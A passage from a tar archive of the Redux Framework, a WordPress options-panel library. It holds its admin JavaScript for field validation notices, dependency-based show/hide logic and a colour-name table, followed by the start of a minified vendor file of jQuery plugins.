'0 0 10px 0' ); } $( this ).parent().attr( 'colspan', '2' ); th.remove(); } } ); }; $.redux.notices = function() { if ( redux.errors && redux.errors.errors ) { $.each( redux.errors.errors, function( sectionID, sectionArray ) { $.each( sectionArray.errors, function( key, value ) { $( "#" + redux.args.opt_name + '-' + value.id ).addClass( "redux-field-error" ); if ( $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-error' ).length === 0 ) { $( "#" + redux.args.opt_name + '-' + value.id ).append( '<div class="redux-th-error">' + value.msg + '</div>' ); } else { $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-error' ).html( value.msg ).css( 'display', 'block' ); } } ); } ); $( '.redux-container' ).each( function() { var container = $( this ); // Ajax cleanup container.find( '.redux-menu-error' ).remove(); var totalErrors = container.find( '.redux-field-error' ).length; if ( totalErrors > 0 ) { container.find( ".redux-field-errors span" ).text( totalErrors ); container.find( ".redux-field-errors" ).slideDown(); container.find( '.redux-group-tab' ).each( function() { var total = $( this ).find( '.redux-field-error' ).length; if ( total > 0 ) { var sectionID = $( this ).attr( 'id' ).split( '_' ); sectionID = sectionID[0]; container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).prepend( '<span class="redux-menu-error">' + total + '</span>' ); container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).addClass( "hasError" ); var subParent = container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).parents( '.hasSubSections:first' ); if ( subParent ) { subParent.find( '.redux-group-tab-link-a:first' ).addClass( 'hasError' ); } } } ); } } ); } if ( redux.warnings && redux.warnings.warnings ) { $.each( redux.warnings.warnings, function( sectionID, sectionArray ) { $.each( sectionArray.warnings, function( key, value ) { $( "#" + redux.args.opt_name + '-' + value.id ).addClass( "redux-field-warning" ); if ( $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-warning' ).length === 0 ) { $( "#" + redux.args.opt_name + '-' + value.id ).append( '<div class="redux-th-warning">' + value.msg + '</div>' ); } else { $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-warning' ).html( value.msg ).css( 'display', 'block' ); } } ); } ); $( '.redux-container' ).each( function() { var container = $( this ); // Ajax cleanup container.find( '.redux-menu-warning' ).remove(); var totalWarnings = container.find( '.redux-field-warning' ).length; if ( totalWarnings > 0 ) { container.find( ".redux-field-warnings span" ).text( totalWarnings ); container.find( ".redux-field-warnings" ).slideDown(); container.find( '.redux-group-tab' ).each( function() { var total = $( this ).find( '.redux-field-warning' ).length; if ( total > 0 ) { var sectionID = $( this ).attr( 'id' ).split( '_' ); sectionID = sectionID[0]; container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).prepend( '<span class="redux-menu-warning">' + total + '</span>' ); container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).addClass( "hasWarning" ); var subParent = container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).parents( '.hasSubSections:first' ); if ( subParent ) { subParent.find( '.redux-group-tab-link-a:first' ).addClass( 'hasWarning' ); } } } ); } } ); } }; $.redux.tabControl = function() { $( '.redux-section-tabs div' ).hide(); $( '.redux-section-tabs div:first' ).show(); $( '.redux-section-tabs ul li:first' ).addClass( 'active' ); $( '.redux-section-tabs ul li a' ).click( function() { $( '.redux-section-tabs ul li' ).removeClass( 'active' ); $( this ).parent().addClass( 'active' ); var currentTab = $( this ).attr( 'href' ); $( '.redux-section-tabs div' ).hide(); $( currentTab ).fadeIn( 'medium', function() { $.redux.initFields(); } ); return false; } ); }; $.redux.required = function() { // Hide the fold elements on load , // It's better to do this by PHP but there is no filter in tr tag , so is not possible // we going to move each attributes we may need for folding to tr tag $.each( redux.folds, function( i, v ) { var fieldset = $( '#' + redux.args.opt_name + '-' + i ); fieldset.parents( 'tr:first' ).addClass( 'fold' ); if ( v == "hide" ) { fieldset.parents( 'tr:first' ).addClass( 'hide' ); if ( fieldset.hasClass( 'redux-container-section' ) ) { var div = $( '#section-' + i ); if ( div.hasClass( 'redux-section-indent-start' ) ) { $( '#section-table-' + i ).hide().addClass( 'hide' ); div.hide().addClass( 'hide' ); } } if ( fieldset.hasClass( 'redux-container-info' ) ) { $( '#info-' + i ).hide().addClass( 'hide' ); } if ( fieldset.hasClass( 'redux-container-divide' ) ) { $( '#divide-' + i ).hide().addClass( 'hide' ); } if ( fieldset.hasClass( 'redux-container-raw' ) ) { var rawTable = fieldset.parents().find( 'table#' + redux.args.opt_name + '-' + i ); rawTable.hide().addClass( 'hide' ); } } } ); }; $.redux.get_container_value = function( id ) { var value = $( '#' + redux.args.opt_name + '-' + id ).serializeForm(); if ( value !== null && typeof value === 'object' && value.hasOwnProperty( redux.args.opt_name ) ) { value = value[redux.args.opt_name][id]; } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-media' ) ) { value = value.url; } return value; }; $.redux.check_dependencies = function( variable ) { if ( redux.required === null ) { return; } var current = $( variable ), id = current.parents( '.redux-field:first' ).data( 'id' ); if ( !redux.required.hasOwnProperty( id ) ) { return; } var container = current.parents( '.redux-field-container:first' ), is_hidden = container.parents( 'tr:first' ).hasClass( 'hide' ); if ( !container.parents( 'tr:first' ).length ) { is_hidden = container.parents( '.customize-control:first' ).hasClass( 'hide' ); } $.each( redux.required[id], function( child, dependents ) { var current = $( this ), show = false, childFieldset = $( '#' + redux.args.opt_name + '-' + child ), tr = childFieldset.parents( 'tr:first' ); if ( !is_hidden ) { show = $.redux.check_parents_dependencies( child ); } if ( show === true ) { // Shim for sections if ( childFieldset.hasClass( 'redux-container-section' ) ) { var div = $( '#section-' + child ); if ( div.hasClass( 'redux-section-indent-start' ) && div.hasClass( 'hide' ) ) { $( '#section-table-' + child ).fadeIn( 300 ).removeClass( 'hide' ); div.fadeIn( 300 ).removeClass( 'hide' ); } } if ( childFieldset.hasClass( 'redux-container-info' ) ) { $( '#info-' + child ).fadeIn( 300 ).removeClass( 'hide' ); } if ( childFieldset.hasClass( 'redux-container-divide' ) ) { $( '#divide-' + child ).fadeIn( 300 ).removeClass( 'hide' ); } if ( childFieldset.hasClass( 'redux-container-raw' ) ) { var rawTable = childFieldset.parents().find( 'table#' + redux.args.opt_name + '-' + child ); rawTable.fadeIn( 300 ).removeClass( 'hide' ); } tr.fadeIn( 300, function() { $( this ).removeClass( 'hide' ); if ( redux.required.hasOwnProperty( child ) ) { $.redux.check_dependencies( $( '#' + redux.args.opt_name + '-' + child ).children().first() ); } $.redux.initFields(); } ); if ( childFieldset.hasClass( 'redux-container-section' ) || childFieldset.hasClass( 'redux-container-info' ) ) { tr.css( {display: 'none'} ); } } else if ( show === false ) { tr.fadeOut( 100, function() { $( this ).addClass( 'hide' ); if ( redux.required.hasOwnProperty( child ) ) { //console.log('Now check, reverse: '+child); $.redux.required_recursive_hide( child ); } } ); } current.find( 'select, radio, input[type=checkbox]' ).trigger( 'change' ); } ); }; $.redux.required_recursive_hide = function( id ) { var toFade = $( '#' + redux.args.opt_name + '-' + id ).parents( 'tr:first' ); toFade.fadeOut( 50, function() { $( this ).addClass( 'hide' ); if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-section' ) ) { var div = $( '#section-' + id ); if ( div.hasClass( 'redux-section-indent-start' ) ) { $( '#section-table-' + id ).fadeOut( 50 ).addClass( 'hide' ); div.fadeOut( 50 ).addClass( 'hide' ); } } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-info' ) ) { $( '#info-' + id ).fadeOut( 50 ).addClass( 'hide' ); } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-divide' ) ) { $( '#divide-' + id ).fadeOut( 50 ).addClass( 'hide' ); } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-raw' ) ) { var rawTable = $( '#' + redux.args.opt_name + '-' + id ).parents().find( 'table#' + redux.args.opt_name + '-' + id ); rawTable.fadeOut( 50 ).addClass( 'hide' ); } if ( redux.required.hasOwnProperty( id ) ) { $.each( redux.required[id], function( child ) { $.redux.required_recursive_hide( child ); } ); } } ); }; $.redux.check_parents_dependencies = function( id ) { var show = ""; if ( redux.required_child.hasOwnProperty( id ) ) { $.each( redux.required_child[id], function( i, parentData ) { if ( $( '#' + redux.args.opt_name + '-' + parentData.parent ).parents( 'tr:first' ).hasClass( 'hide' ) ) { show = false; } else { if ( show !== false ) { var parentValue = $.redux.get_container_value( parentData.parent ); show = $.redux.check_dependencies_visibility( parentValue, parentData ); } } } ); } else { show = true; } return show; }; $.redux.check_dependencies_visibility = function( parentValue, data ) { var show = false, checkValue_array, checkValue = data.checkValue, operation = data.operation, arr; if ($.isPlainObject( parentValue )) { parentValue = Object.keys( parentValue ).map( function( key ) { return [key, parentValue[key]]; } ); } switch ( operation ) { case '=': case 'equals': if ( $.isArray( parentValue ) ) { $( parentValue[0] ).each( function( idx, val ) { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( val == v ) { show = true; return true; } } ); } else { if ( val == checkValue ) { show = true; return true; } } } ); } else { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( parentValue == v ) { show = true; } } ); } else { if ( parentValue == checkValue ) { show = true; } } } break; case '!=': case 'not': if ( $.isArray( parentValue ) ) { $( parentValue[0] ).each( function( idx, val ) { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( val != v ) { show = true; return true; } } ); } else { if ( val != checkValue ) { show = true; return true; } } } ); } else { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( parentValue != v ) { show = true; } } ); } else { if ( parentValue != checkValue ) { show = true; } } } break; case '>': case 'greater': case 'is_larger': if ( parseFloat( parentValue ) > parseFloat( checkValue ) ) { show = true; } break; case '>=': case 'greater_equal': case 'is_larger_equal': if ( parseFloat( parentValue ) >= parseFloat( checkValue ) ) { show = true; } break; case '<': case 'less': case 'is_smaller': if ( parseFloat( parentValue ) < parseFloat( checkValue ) ) { show = true; } break; case '<=': case 'less_equal': case 'is_smaller_equal': if ( parseFloat( parentValue ) <= parseFloat( checkValue ) ) { show = true; } break; case 'contains': if ( $.isPlainObject( parentValue ) ) { parentValue = Object.keys( parentValue ).map( function( key ) { return [key, parentValue[key]]; } ); } if ( $.isPlainObject( checkValue ) ) { checkValue = Object.keys( checkValue ).map( function( key ) { return [key, checkValue[key]]; } ); } if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( idx, val ) { var breakMe = false; var toFind = val[0]; var findVal = val[1]; $( parentValue ).each( function( i, v ) { var toMatch = v[0]; var matchVal = v[1]; if ( toFind === toMatch ) { if ( findVal == matchVal ) { show = true; breakMe = true; return false; } } } ); if ( breakMe === true ) { return false; } } ); } else { if ( parentValue.toString().indexOf( checkValue ) !== -1 ) { show = true; } } break; case 'doesnt_contain': case 'not_contain': if ( $.isPlainObject( parentValue ) ) { arr = Object.keys( parentValue ).map( function( key ) { return parentValue[key]; } ); parentValue = arr; } if ( $.isPlainObject( checkValue ) ) { arr = Object.keys( checkValue ).map( function( key ) { return checkValue[key]; } ); checkValue = arr; } if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( idx, val ) { if ( parentValue.toString().indexOf( val ) === -1 ) { show = true; } } ); } else { if ( parentValue.toString().indexOf( checkValue ) === -1 ) { show = true; } } break; case 'is_empty_or': if ( parentValue === "" || parentValue == checkValue ) { show = true; } break; case 'not_empty_and': if ( parentValue !== "" && parentValue != checkValue ) { show = true; } break; case 'is_empty': case 'empty': case '!isset': if ( !parentValue || parentValue === "" || parentValue === null ) { show = true; } break; case 'not_empty': case '!empty': case 'isset': if ( parentValue && parentValue !== "" && parentValue !== null ) { show = true; } break; } return show; }; $.redux.verifyPos = function( s, b ) { // trim off spaces s = s.replace( /^\s+|\s+$/gm, '' ); // position value is blank, set the default if ( s === '' || s.search( ' ' ) == -1 ) { if ( b === true ) { return 'top left'; } else { return 'bottom right'; } } // split string into array var split = s.split( ' ' ); // Evaluate first string. Must be top, center, or bottom var paramOne = b ? 'top' : 'bottom'; if ( split[0] == 'top' || split[0] == 'center' || split[0] == 'bottom' ) { paramOne = split[0]; } // Evaluate second string. Must be left, center, or right. var paramTwo = b ? 'left' : 'right'; if ( split[1] == 'left' || split[1] == 'center' || split[1] == 'right' ) { paramTwo = split[1]; } return paramOne + ' ' + paramTwo; }; $.redux.stickyInfo = function() { var stickyWidth = $( '.redux-main' ).innerWidth() - 20; if ( !$( '#info_bar' ).isOnScreen() && !$( '#redux-footer-sticky' ).isOnScreen() ) { $( '#redux-footer' ).css( { position: 'fixed', bottom: '0', width: stickyWidth, right: 21 } ); $( '#redux-footer' ).addClass( 'sticky-footer-fixed' ); $( '.redux-save-warn' ).css( 'left', $( '#redux-sticky' ).offset().left ); $( '#redux-sticky-padder' ).show(); } else { $( '#redux-footer' ).css( { background: '#eee', position: 'inherit', bottom: 'inherit', width: 'inherit' } ); $( '#redux-sticky-padder' ).hide(); $( '#redux-footer' ).removeClass( 'sticky-footer-fixed' ); } if ( !$( '#info_bar' ).isOnScreen() ) { $( '#redux-sticky' ).addClass( 'sticky-save-warn' ); } else { $( '#redux-sticky' ).removeClass( 'sticky-save-warn' ); } }; $.redux.expandOptions = function( parent ) { var trigger = parent.find( '.expand_options' ); var width = parent.find( '.redux-sidebar' ).width() - 1; var id = $( '.redux-group-menu .active a' ).data( 'rel' ) + '_section_group'; if ( trigger.hasClass( 'expanded' ) ) { trigger.removeClass( 'expanded' ); parent.find( '.redux-main' ).removeClass( 'expand' ); parent.find( '.redux-sidebar' ).stop().animate( { 'margin-left': '0px' }, 500 ); parent.find( '.redux-main' ).stop().animate( { 'margin-left': width }, 500, function() { parent.find( '.redux-main' ).attr( 'style', '' ); } ); parent.find( '.redux-group-tab' ).each( function() { if ( $( this ).attr( 'id' ) !== id ) { $( this ).fadeOut( 'fast' ); } } ); // Show the only active one } else { trigger.addClass( 'expanded' ); parent.find( '.redux-main' ).addClass( 'expand' ); parent.find( '.redux-sidebar' ).stop().animate( { 'margin-left': -width - 113 }, 500 ); parent.find( '.redux-main' ).stop().animate( { 'margin-left': '-1px' }, 500 ); parent.find( '.redux-group-tab' ).fadeIn( 'medium', function() { $.redux.initFields(); } ); } return false; }; $.redux.scaleToRatio = function( el, maxHeight, maxWidth ) { var ratio = 0; // Used for aspect ratio var width = el.attr( 'data-width' ); if ( !width ) { width = el.width(); el.attr( 'data-width', width ); } var height = el.attr( 'data-height' ); var eHeight = el.height(); if ( !height || eHeight > height ) { height = eHeight; el.attr( 'data-height', height ); el.css( "width", 'auto' ); el.attr( 'data-width', el.width() ); width = el.width(); } // Check if the current width is larger than the max if ( width > maxWidth ) { ratio = maxWidth / width; // get ratio for scaling image el.css( "width", maxWidth ); // Set new width el.css( "height", height * ratio ); // Scale height based on ratio height = height * ratio; // Reset height to match scaled image width = width * ratio; // Reset width to match scaled image } else { el.css( "width", 'auto' ); // Set new height } // Check if current height is larger than max if ( height > maxHeight ) { ratio = maxHeight / height; // get ratio for scaling image el.css( "height", maxHeight ); // Set new height el.css( "width", width * ratio ); // Scale width based on ratio width = width * ratio; // Reset width to match scaled image height = height * ratio; // Reset height to match scaled image } else { el.css( "height", 'auto' ); // Set new height } var test = ($( document.getElementById( 'redux-header' ) ).height() - el.height()) / 2; if ( test > 0 ) { el.css( "margin-top", test ); } else { el.css( "margin-top", 0 ); } if ( $( '#redux-header .redux_field_search' ) ) { $( '#redux-header .redux_field_search' ).css( 'right', ($( el ).width() + 20) ); } }; $.redux.resizeAds = function() { var el = $( '#redux-header' ); var maxWidth; if ( el.length ) { maxWidth = el.width() - el.find( '.display_header' ).width() - 30; } else { el = $( '#customize-info' ); maxWidth = el.width(); } var maxHeight = el.height(); var rAds = el.find( '.rAds' ); $( rAds ).find( 'video' ).each( function() { $.redux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); $( rAds ).find( 'img' ).each( function() { $.redux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); $( rAds ).find( 'div' ).each( function() { $.redux.scaleToRatio( $( this ), maxHeight, maxWidth ); } ); if ( rAds.css( 'left' ) == "-99999px" ) { rAds.css( 'display', 'none' ).css( 'left', 'auto' ); } rAds.fadeIn( 'slow' ); }; $( document ).ready( function() { if ( redux.rAds ) { var el; if ( $( '#redux-header' ).length > 0 ) { $( '#redux-header' ).append( '<div class="rAds"></div>' ); el = $( '#redux-header' ); } else { $( '#customize-theme-controls ul' ).first().prepend( '<li id="redux_rAds" class="accordion-section rAdsContainer" style="position: relative;"><div class="rAds"></div></li>' ); el = $( '#redux_rAds' ); } el.css( 'position', 'relative' ); el.find( '.rAds' ).attr( 'style', 'position:absolute; top: 6px; right: 9px; display:block !important;overflow:hidden;' ).css( 'left', '-99999px' ); el.find( '.rAds' ).html( redux.rAds.replace( /<br\s?\/?>/, '' ) ); var rAds = el.find( '.rAds' ); $( rAds ).hide(); rAds.bind( "DOMSubtreeModified", function() { if ( $( this ).html().indexOf( "<a href" ) >= 0 ) { rAds.find( 'img' ).css( 'visibility', 'hidden' ); setTimeout( function() { rAds.show(); $.redux.resizeAds(); }, 400 ); rAds.find( 'img' ).css( 'visibility', 'inherit' ); rAds.unbind( "DOMSubtreeModified" ); } } ); $( window ).resize( function() { $.redux.resizeAds(); } ); } } ); })( jQuery ); jQuery.noConflict(); var confirmOnPageExit = function( e ) { //return; // ONLY FOR DEBUGGING // If we haven't been passed the event get the window.event e = e || window.event; var message = redux.args.save_pending; // For IE6-8 and Firefox prior to version 4 if ( e ) { e.returnValue = message; } window.onbeforeunload = null; // For Chrome, Safari, IE8+ and Opera 12+ return message; }; function redux_change( variable ) { variable = jQuery(variable); jQuery( 'body' ).trigger( 'check_dependencies', variable ); if ( variable.hasClass( 'compiler' ) ) { jQuery( '#redux-compiler-hook' ).val( 1 ); } // var test = jQuery( variable ).parents( '.redux-field-container:first' ); // if ( test.hasClass( 'redux-container-typography' ) && redux.field_objects.typography ) { // redux.field_objects.typography.change( test ); // } var rContainer = jQuery( variable ).parents( '.redux-container:first' ); var parentID = jQuery( variable ).closest( '.redux-group-tab' ).attr( 'id' ); // Let's count down the errors now. Fancy. ;) var id = parentID.split( '_' ); id = id[0]; var th = rContainer.find( '.redux-group-tab-link-a[data-key="' + id + '"]' ).parents( '.redux-group-tab-link-li:first' ); var subParent = jQuery( '#' + parentID + '_li' ).parents( '.hasSubSections:first' ); if ( jQuery( variable ).parents( 'fieldset.redux-field:first' ).hasClass( 'redux-field-error' ) ) { jQuery( variable ).parents( 'fieldset.redux-field:first' ).removeClass( 'redux-field-error' ); jQuery( variable ).parent().find( '.redux-th-error' ).slideUp(); var errorCount = (parseInt( rContainer.find( '.redux-field-errors span' ).text() ) - 1); if ( errorCount <= 0 ) { jQuery( '#' + parentID + '_li .redux-menu-error' ).fadeOut( 'fast' ).remove(); jQuery( '#' + parentID + '_li .redux-group-tab-link-a' ).removeClass( 'hasError' ); jQuery( '#' + parentID + '_li' ).parents( '.inside:first' ).find( '.redux-field-errors' ).slideUp(); jQuery( variable ).parents( '.redux-container:first' ).find( '.redux-field-errors' ).slideUp(); jQuery( '#redux_metaboxes_errors' ).slideUp(); } else { var errorsLeft = (parseInt( th.find( '.redux-menu-error:first' ).text() ) - 1); if ( errorsLeft <= 0 ) { th.find( '.redux-menu-error:first' ).fadeOut().remove(); } else { th.find( '.redux-menu-error:first' ).text( errorsLeft ); } rContainer.find( '.redux-field-errors span' ).text( errorCount ); } if ( subParent.length !== 0 ) { if ( subParent.find( '.redux-menu-error' ).length === 0 ) { subParent.find( '.hasError' ).removeClass( 'hasError' ); } } } if ( jQuery( variable ).parents( 'fieldset.redux-field:first' ).hasClass( 'redux-field-warning' ) ) { jQuery( variable ).parents( 'fieldset.redux-field:first' ).removeClass( 'redux-field-warning' ); jQuery( variable ).parent().find( '.redux-th-warning' ).slideUp(); var warningCount = (parseInt( rContainer.find( '.redux-field-warnings span' ).text() ) - 1); if ( warningCount <= 0 ) { jQuery( '#' + parentID + '_li .redux-menu-warning' ).fadeOut( 'fast' ).remove(); jQuery( '#' + parentID + '_li .redux-group-tab-link-a' ).removeClass( 'hasWarning' ); jQuery( '#' + parentID + '_li' ).parents( '.inside:first' ).find( '.redux-field-warnings' ).slideUp(); jQuery( variable ).parents( '.redux-container:first' ).find( '.redux-field-warnings' ).slideUp(); jQuery( '#redux_metaboxes_warnings' ).slideUp(); } else { // Let's count down the warnings now. Fancy. ;) var warningsLeft = (parseInt( th.find( '.redux-menu-warning:first' ).text() ) - 1); if ( warningsLeft <= 0 ) { th.find( '.redux-menu-warning:first' ).fadeOut().remove(); } else { th.find( '.redux-menu-warning:first' ).text( warningsLeft ); } rContainer.find( '.redux-field-warning span' ).text( warningCount ); } if ( subParent.length !== 0 ) { if ( subParent.find( '.redux-menu-warning' ).length === 0 ) { subParent.find( '.hasWarning' ).removeClass( 'hasWarning' ); } } } // Don't show the changed value notice while save_notice is visible. if ( rContainer.find( '.saved_notice:visible' ).length > 0 ) { return; } if ( !redux.args.disable_save_warn ) { rContainer.find( '.redux-save-warn' ).slideDown(); window.onbeforeunload = confirmOnPageExit; } } function colorValidate( field ) { var value = jQuery( field ).val(); var hex = colorNameToHex( value ); if ( hex !== value.replace( '#', '' ) ) { return hex; } return value; } function colorNameToHex( colour ) { var tcolour = colour.replace( /^\s\s*/, '' ).replace( /\s\s*$/, '' ).replace( "#", "" ); var colours = { "aliceblue": "#f0f8ff", "antiquewhite": "#faebd7", "aqua": "#00ffff", "aquamarine": "#7fffd4", "azure": "#f0ffff", "beige": "#f5f5dc", "bisque": "#ffe4c4", "black": "#000000", "blanchedalmond": "#ffebcd", "blue": "#0000ff", "blueviolet": "#8a2be2", "brown": "#a52a2a", "burlywood": "#deb887", "cadetblue": "#5f9ea0", "chartreuse": "#7fff00", "chocolate": "#d2691e", "coral": "#ff7f50", "cornflowerblue": "#6495ed", "cornsilk": "#fff8dc", "crimson": "#dc143c", "cyan": "#00ffff", "darkblue": "#00008b", "darkcyan": "#008b8b", "darkgoldenrod": "#b8860b", "darkgray": "#a9a9a9", "darkgreen": "#006400", "darkkhaki": "#bdb76b", "darkmagenta": "#8b008b", "darkolivegreen": "#556b2f", "darkorange": "#ff8c00", "darkorchid": "#9932cc", "darkred": "#8b0000", "darksalmon": "#e9967a", "darkseagreen": "#8fbc8f", "darkslateblue": "#483d8b", "darkslategray": "#2f4f4f", "darkturquoise": "#00ced1", "darkviolet": "#9400d3", "deeppink": "#ff1493", "deepskyblue": "#00bfff", "dimgray": "#696969", "dodgerblue": "#1e90ff", "firebrick": "#b22222", "floralwhite": "#fffaf0", "forestgreen": "#228b22", "fuchsia": "#ff00ff", "gainsboro": "#dcdcdc", "ghostwhite": "#f8f8ff", "gold": "#ffd700", "goldenrod": "#daa520", "gray": "#808080", "green": "#008000", "greenyellow": "#adff2f", "honeydew": "#f0fff0", "hotpink": "#ff69b4", "indianred ": "#cd5c5c", "indigo ": "#4b0082", "ivory": "#fffff0", "khaki": "#f0e68c", "lavender": "#e6e6fa", "lavenderblush": "#fff0f5", "lawngreen": "#7cfc00", "lemonchiffon": "#fffacd", "lightblue": "#add8e6", "lightcoral": "#f08080", "lightcyan": "#e0ffff", "lightgoldenrodyellow": "#fafad2", "lightgrey": "#d3d3d3", "lightgreen": "#90ee90", "lightpink": "#ffb6c1", "lightsalmon": "#ffa07a", "lightseagreen": "#20b2aa", "lightskyblue": "#87cefa", "lightslategray": "#778899", "lightsteelblue": "#b0c4de", "lightyellow": "#ffffe0", "lime": "#00ff00", "limegreen": "#32cd32", "linen": "#faf0e6", "magenta": "#ff00ff", "maroon": "#800000", "mediumaquamarine": "#66cdaa", "mediumblue": "#0000cd", "mediumorchid": "#ba55d3", "mediumpurple": "#9370d8", "mediumseagreen": "#3cb371", "mediumslateblue": "#7b68ee", "mediumspringgreen": "#00fa9a", "mediumturquoise": "#48d1cc", "mediumvioletred": "#c71585", "midnightblue": "#191970", "mintcream": "#f5fffa", "mistyrose": "#ffe4e1", "moccasin": "#ffe4b5", "navajowhite": "#ffdead", "navy": "#000080", "oldlace": "#fdf5e6", "olive": "#808000", "olivedrab": "#6b8e23", "orange": "#ffa500", "orangered": "#ff4500", "orchid": "#da70d6", "palegoldenrod": "#eee8aa", "palegreen": "#98fb98", "paleturquoise": "#afeeee", "palevioletred": "#d87093", "papayawhip": "#ffefd5", "peachpuff": "#ffdab9", "peru": "#cd853f", "pink": "#ffc0cb", "plum": "#dda0dd", "powderblue": "#b0e0e6", "purple": "#800080", "red": "#ff0000", "redux": "#01a3e3", "rosybrown": "#bc8f8f", "royalblue": "#4169e1", "saddlebrown": "#8b4513", "salmon": "#fa8072", "sandybrown": "#f4a460", "seagreen": "#2e8b57", "seashell": "#fff5ee", "sienna": "#a0522d", "silver": "#c0c0c0", "skyblue": "#87ceeb", "slateblue": "#6a5acd", "slategray": "#708090", "snow": "#fffafa", "springgreen": "#00ff7f", "steelblue": "#4682b4", "tan": "#d2b48c", "teal": "#008080", "thistle": "#d8bfd8", "tomato": "#ff6347", "turquoise": "#40e0d0", "violet": "#ee82ee", "wheat": "#f5deb3", "white": "#ffffff", "whitesmoke": "#f5f5f5", "yellow": "#ffff00", "yellowgreen": "#9acd32" }; if ( colours[tcolour.toLowerCase()] !== 'undefined' ) { return colours[tcolour.toLowerCase()]; } return colour; } function redux_hook( object, functionName, callback, before ) { (function( originalFunction ) { object[functionName] = function() { if ( before === true ) { callback.apply( this, [returnValue, originalFunction, arguments] ); } var returnValue = originalFunction.apply( this, arguments ); if ( before !== true ) { callback.apply( this, [returnValue, originalFunction, arguments] ); } return returnValue; }; }( object[functionName] )); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor.min.js�������������������������������������������������������������0000644�����������������00000024014�14720701300�0014214 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(e){"function"==typeof define&&define.amd?jQueryCookie.define(["jquery"],e):e(jQuery)}(function(h){var t=/\+/g;function d(e){return e}function v(e){return decodeURIComponent(e.replace(t," "))}function m(e){0===e.indexOf('"')&&(e=e.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return g.json?JSON.parse(e):e}catch(e){}}var g=h.cookie=function(e,t,n){if(void 0!==t){if("number"==typeof(n=h.extend({},g.defaults,n)).expires){var r=n.expires,a=n.expires=new Date;a.setDate(a.getDate()+r)}return t=g.json?JSON.stringify(t):String(t),document.cookie=[g.raw?e:encodeURIComponent(e),"=",g.raw?t:encodeURIComponent(t),n.expires?"; expires="+n.expires.toUTCString():"",n.path?"; path="+n.path:"",n.domain?"; domain="+n.domain:"",n.secure?"; secure":""].join("")}for(var o=g.raw?d:v,i=document.cookie.split("; "),l=e?void 0:{},c=0,u=i.length;c<u;c++){var s=i[c].split("="),f=o(s.shift()),p=o(s.join("="));if(e&&e===f){l=m(p);break}e||(l[f]=m(p))}return l};g.defaults={},h.removeCookie=function(e,t){return void 0!==h.cookie(e)&&(h.cookie(e,"",h.extend({},t,{expires:-1})),!0)}}),function(i){i.fn.serializeForm=function(){if(this.length<1)return!1;var a={},o=a,e=':input[type!="checkbox"][type!="radio"], input:checked',t=function(){if(!this.disabled){var e=this.name.replace(/\[([^\]]+)?\]/g,",$1").split(","),t=e.length-1,n=i(this);if(e[0]){for(var r=0;r<t;r++)o=o[e[r]]=o[e[r]]||(""===e[r+1]||"0"===e[r+1]?[]:{});void 0!==o.length?o.push(n.val()):o[e[t]]=n.val(),o=a}}};return this.filter(e).each(t),this.find(e).each(t),a}}(jQuery),function(i){i.fn.typeWatch=function(e){var o=i.extend({wait:750,callback:function(){},highlight:!0,captureLength:2,inputTypes:["TEXT","TEXTAREA","PASSWORD","TEL","SEARCH","URL","EMAIL","DATETIME","DATE","MONTH","WEEK","TIME","DATETIME-LOCAL","NUMBER","RANGE"]},e);function t(e){var t=e.type.toUpperCase();if(0<=i.inArray(t,o.inputTypes)){var a={timer:null,text:i(e).val().toUpperCase(),cb:o.callback,el:e,wait:o.wait};o.highlight&&i(e).focus(function(){this.select()});i(e).on("keydown paste cut input",function(e){var t=a.wait,r=!1,n=this.type.toUpperCase();void 0!==e.keyCode&&13==e.keyCode&&"TEXTAREA"!=n&&0<=i.inArray(n,o.inputTypes)&&(t=1,r=!0);clearTimeout(a.timer),a.timer=setTimeout(function(){var e,t,n;t=r,((n=i((e=a).el).val()).length>=o.captureLength&&n.toUpperCase()!=e.text||t&&n.length>=o.captureLength)&&(e.text=n.toUpperCase(),e.cb.call(e.el,n))},t)})}}return this.each(function(){t(this)})}}(jQuery),function(c){c.fn.alphanum=function(e){return n(this,m,i(e)),this},c.fn.alpha=function(e){return n(this,m,i(e,i("alpha"))),this},c.fn.numeric=function(e){return n(this,S,h(e)),this.blur(function(){!function(e,t){var n=parseFloat(c(e).val()),r=c(e);if(isNaN(n))return r.val("");o(t.min)&&n<t.min&&r.val("");o(t.max)&&n>t.max&&r.val("")}(this,e)}),this};var 